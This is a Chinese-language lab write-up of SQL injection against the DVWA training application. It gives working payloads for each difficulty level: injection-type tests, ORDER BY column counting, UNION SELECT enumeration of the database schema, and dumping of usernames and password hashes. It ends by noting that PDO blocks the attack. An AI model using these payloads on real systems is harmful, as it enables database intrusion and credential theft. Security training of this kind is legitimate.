SQL:结构化查询语言
SQL注入
所谓SQL注入式攻击,就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令。
本次实验在DVWA下进行
实验代码:
SQL注入过程
1.判断是否存在注入,注入是字符型还是数字型
2.猜解SQL查询语句中的字段数
3.’确定显示的字段数
4.获取当前数据库
5.获取表中字段名
6.下载数据
初级low
源代码
输入1,跳出显示1
1’and’ 1’=‘2
1or1=1
跳出1or1=1,说明不是数字型
1’ or ‘1’ ='1
1.判断是否存在注入,注入是字符型还是数字型
返回5个结果,存在SQL注入,且为字符型
1’ or ‘1234’='1234
2.猜解SQL查询语句中的字段数
1’ or 1=1 order by 1 #
1’ or 1=1 order by 2 #
1’ or 1=1 order by 3 #
报错,没有第三字段,说明只有两个字段
3.’确定显示的字段数
1’ union select 1,2#
说明查询语句为select first name surname from user where id=’id’
4.获取当前数据库
1’union select 1,database() #
当前数据库为dvwa
-1’union select 1,database() #
当前数据库为dvwa
5.获取数据库中的表
1’ union select 1,group_concat(table_name)from information_schema.tables where table_schema=database() #
说明有guestbook,users这两个表
6.获取表中的字段名
1’ union select 1,group_concat(column_name)from information_schema.columns where table_name=‘users’ #
表中有8个字段名字段名
user_id,first_name,last_name,user,password,avatar,last_login,failed_login
7.下载数据
1’ union select user,password from users #
1’ or 1=1 union select group_concat(user),group_concat(password) from users #
在网站里解码得到password
中级medium
源代码
使用下拉菜单,所以我们通过抓包修改参数
F12看出下拉框为数据id中的数据,所以我们把数据加载包的id后面
1.字符型测试
打开burpsuite抓包,在id后修改代码,右边跳出页面即为成功
1’ or ‘1’='1
失败,
数字型测试
1 or 1=1
成功,说明该漏洞是数字型的
2.猜解SQL查询语句中的字段数
1 or 1=1 order by 1 #
1 or 1=1 order by 2 #
1 or 1=1 order by 3 #
报错,说明一共2个字段
3.确定显示位置
1 union select 1,2 #
4.获取当前数据库
1 union select 1,database() #
说明在dvwa目录下
5.获取数据库中的表
1 union select 1,group_concat(table_name)from information_schema.tables where table_schema=database() #
有两个表guestbook,users
6.获取表中的字段名
1 union select 1,group_concat(column_name)from information_schema.columns where table_name=users #
用转换工具将user转换为16进制,不然会报错
跳出了所有的字段名
7.下载数据
1 union select user,password from users #
1 or 1=1 union select group_concat(user),group_concat(password) from users #
将密文放入网站查询
得出密码
高级high
源代码
LIMIT 1,说明输出一个结果后就不往下扫描了,就输出一个结果
这时候我们可以通过#将其注释掉,就在所有代码后面加上#就可
演示最后的下载
1' or 1=1 union select group_concat(user),group_concat(password) from users #
输入代码后输出了密码
Impossible
采用了PDO技术划清了代码余数据的界限,所以无法注入